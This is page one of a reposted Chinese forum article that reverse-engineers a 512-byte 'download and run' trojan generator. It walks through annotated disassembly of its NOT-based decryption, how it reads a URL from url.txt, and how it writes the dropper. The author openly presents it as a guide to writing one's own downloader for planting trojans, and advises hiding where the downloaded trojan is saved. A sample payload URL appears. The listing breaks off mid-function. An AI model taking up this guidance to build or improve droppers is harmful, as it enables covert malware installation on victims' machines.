简单分析""冰狐浪子下载运行512生成器

来源:百度文库 编辑:神马文学网 时间:2024/04/26 20:02:47
简单分析"冰狐浪子下载运行512生成器
文章作者:NGAUT     文章来源:看雪论坛     发布时间:2005-07-04 00:11:08
——兼谈编写属于自己的downloader
我现在的理想是教书育人,不要觉得奇怪,估计你也感到现在太多的垃圾老师了。所以我想做的是取代他们。这就是我尽己所能写点好文章的原因。
感谢冰狐浪子提供如此优秀的作品
本文的测试平台为winxp sp1,没有在其它的系统上测试,可能由于align:512选项不能在98下运行。这次逆向工程的对象是:"冰狐浪子下载运行512生成器", 在众多的downloader中,个人觉得这个工具是最理想的(仅仅从下载和执行功能上来看),生成的"冰狐downRun512.exe"仅有512字节(大概是最小的啦)。后门嘛,当然越小越好拉。
1."冰狐浪子下载运行512生成器"的使用方法:
把Url.txt文件中的网址改为你要下载并运行的程序的下载地址
[注意:网址长度不能大于53个字符,并且Url.txt中不要有网址以外的其他多余的字符如回车]
然后运行<<冰狐浪子下载运行512生成器.exe>>
你将在同目录下得到一个大小仅仅为512字节的<<冰狐downRun512.exe>>
冰狐downRun512.exe可以下载并且执行URL中对应的程序。
2."冰狐浪子下载运行512生成器"的缺陷(纯粹个人看法)
注意:作者提到长度不大于53个个字符,并且Url.txt中不要有网址以外的其他多余的字符如回车。
等会儿我会从汇编代码级分析为什么要有这样的限制。以及如何在我们自己写的downloader中突破这样的限制。另外该软件的缺陷是:只能下载到当前目录,这不是把我们辛辛苦苦从网上下载的木马暴露在使用者的面前吗?在我们自己写的downloader中一定要避免这个问题,
也就是允许用户指定下载的文件的存放路径。
3.本文使用的工具:
ollydbg1.0中文修改版,Microsoft Visual C++ 6.0,Hex Workshop 4.2。
为什么不用IDA,因为IDA太慢了,以前试用过2次,实在慢得无法忍受。再说了,一般情况下ollydbg就够用,而且速度飞快。Hex Workshop用于比较文件,和查找字符串的偏移量,以及测试我们的分析是否正确。
4.反汇编代码分析:
如果你有一点点汇编和c语言基础,知道几个API,那么下面的分析应该是种享受,因为冰狐浪子下载运行512生成器好象是用汇编语言编写的,结构清晰,反汇编的代码可读性级佳,很值得学习。特别适合于学习win32汇编。
下面的分析使用的是作者发布的程序中自带的URL.txt,
文件存放的URL是:"http://www.godog.y365.com/cs/icyfox.jpg"。好了,开始享受代码吧:
下面第一段代码是程序入口,解密从401000开始的0x200(512)个字节,也就是生成的“冰狐downRun512”的大部分二进制代码,为什么是大部分,而不是全部呢?因为还有URL是可变的,需要通过URL.txt来读取,还有生成的文件名“冰狐downRun512”也是要读取的。
解密512个字节,刚好是生成的"冰狐downRun512.exe"的大小,不是巧合哦
0040121F 冰>/$  B9 00020000 mov ecx,200                        ;  0x200即十进制的512
00401224   |.  8D35 001040>lea esi,dword ptr ds:[401000]
0040122A   |.  8D3D 001040>lea edi,dword ptr ds:[401000]
00401230   |>  AC          /lods byte ptr ds:[esi]
00401231   |.  F6D0        |not al        ;解密方法:取反
00401233   |.  AA          |stos byte ptr es:[edi]    ;再保存回去
00401234   |.^ E2 FA       \loopd short 冰狐浪子.00401230  ;循环解密
检测当前目录下是否存在"url.txt"
00401236   |.  6A 00       push 0                             ; /hTemplateFile = NULL
00401238   |.  68 80000000 push 80                            ; |Attributes = NORMAL
0040123D   |.  6A 03       push 3                             ; |Mode = OPEN_EXISTING
0040123F   |.  6A 00       push 0                             ; |pSecurity = NULL
00401241   |.  6A 01       push 1                             ; |ShareMode = FILE_SHARE_READ
00401243   |.  68 00000080 push 80000000                      ; |Access = GENERIC_READ
00401248  |.  68 04124000   PUSH bh.00401204                  ; |FileName = "url.txt",通过读取00401204处的字符串作为要读取的文件名
0040124D   |.  E8 82000000 call    ; \CreateFileA
00401252   |.  83F8 FF     cmp eax,-1                         ;  检测当前目录下是否有url.txt
00401255   |.  74 6F       je short 冰狐浪子.004012C6         ;  没有,则程序退出
读取"url.txt"中的0x35即53个字节,还记得前面提到的53个字节的限制吗?就体现在这里了。
00401257   |.  8BD8        mov ebx,eax
00401259   |.  6A 00       push 0                             ; /pOverlapped = NULL
0040125B   |.  68 00124000 push 冰狐浪子.00401200                 ; |pBytesRead = 冰狐浪子.00401200
00401260   |.  6A 35       push 35                            ; |BytesToRead = 35 (也就是十进制的53)
00401262   |.  68 06104000 push 冰狐浪子.00401006                 ; |Buffer = 冰狐浪子.00401006
00401267   |.  53          push ebx                           ; |hFile
00401268   |.  E8 73000000 call       ; \ReadFile
0040126D   |.  53          push ebx                           ; /hObject
0040126E   |.  E8 5B000000 call    ; \CloseHandle
这4句把从"url.txt"中的0x35即53个字节URL进行取反加密,加密长度为把URL的长度
00401273   |.  8B0D 001240>mov ecx,dword ptr ds:[401200]      ;  把URL的长度放到ecx
00401279   |.  8D35 061040>lea esi,dword ptr ds:[401006]  ;注意这个地址401006,到最后生成的"冰狐downRun512.exe"
其文件偏移量是6,后面写自己的downloader时需要定位到相应的地方
0040127F   |.  8D3D 061040>lea edi,dword ptr ds:[401006]
00401285   |>  AC          /lods byte ptr ds:[esi]            ;
00401286   |.  F6D0        |not al
00401288   |.  AA          |stos byte ptr es:[edi]
00401289   |.^ E2 FA       \loopd short 冰狐浪子.00401285
调用CreateFileA创建 "冰狐downRun512.exe"
0040128B   |.  6A 00       push 0                             ; /hTemplateFile = NULL
0040128D   |.  68 80000080 push 80000080                      ; |Attributes = NORMAL|WRITE_THROUGH
00401292   |.  6A 02       push 2                             ; |Mode = CREATE_ALWAYS
00401294   |.  6A 00       push 0                             ; |pSecurity = NULL
00401296   |.  6A 00       push 0                             ; |ShareMode = 0
00401298   |.  68 00000040 push 40000000                      ; |Access = GENERIC_WRITE
0040129D   |.  68 0C124000 push 冰狐浪子.0040120C                 ; |FileName = "冰狐downRun512.exe"
004012A2   |.  E8 2D000000 call    ; \CreateFileA
写入0x200即512字节
004012A7   |.  8BD8        mov ebx,eax                        ;
004012A9   |.  6A 00       push 0                             ; /pOverlapped = NULL
004012AB   |.  68 00124000 push 冰狐浪子.00401200                 ; |pBytesWritten = 冰狐浪子.00401200
004012B0   |.  68 00020000 push 200                           ; |nBytesToWrite = 200 (512.)
004012B5   |.  68 00104000 push 冰狐浪子.00401000                 ; |Buffer = 冰狐浪子.00401000 和00401200的距离是0x200即512个字节
分页:[1] 2 3 4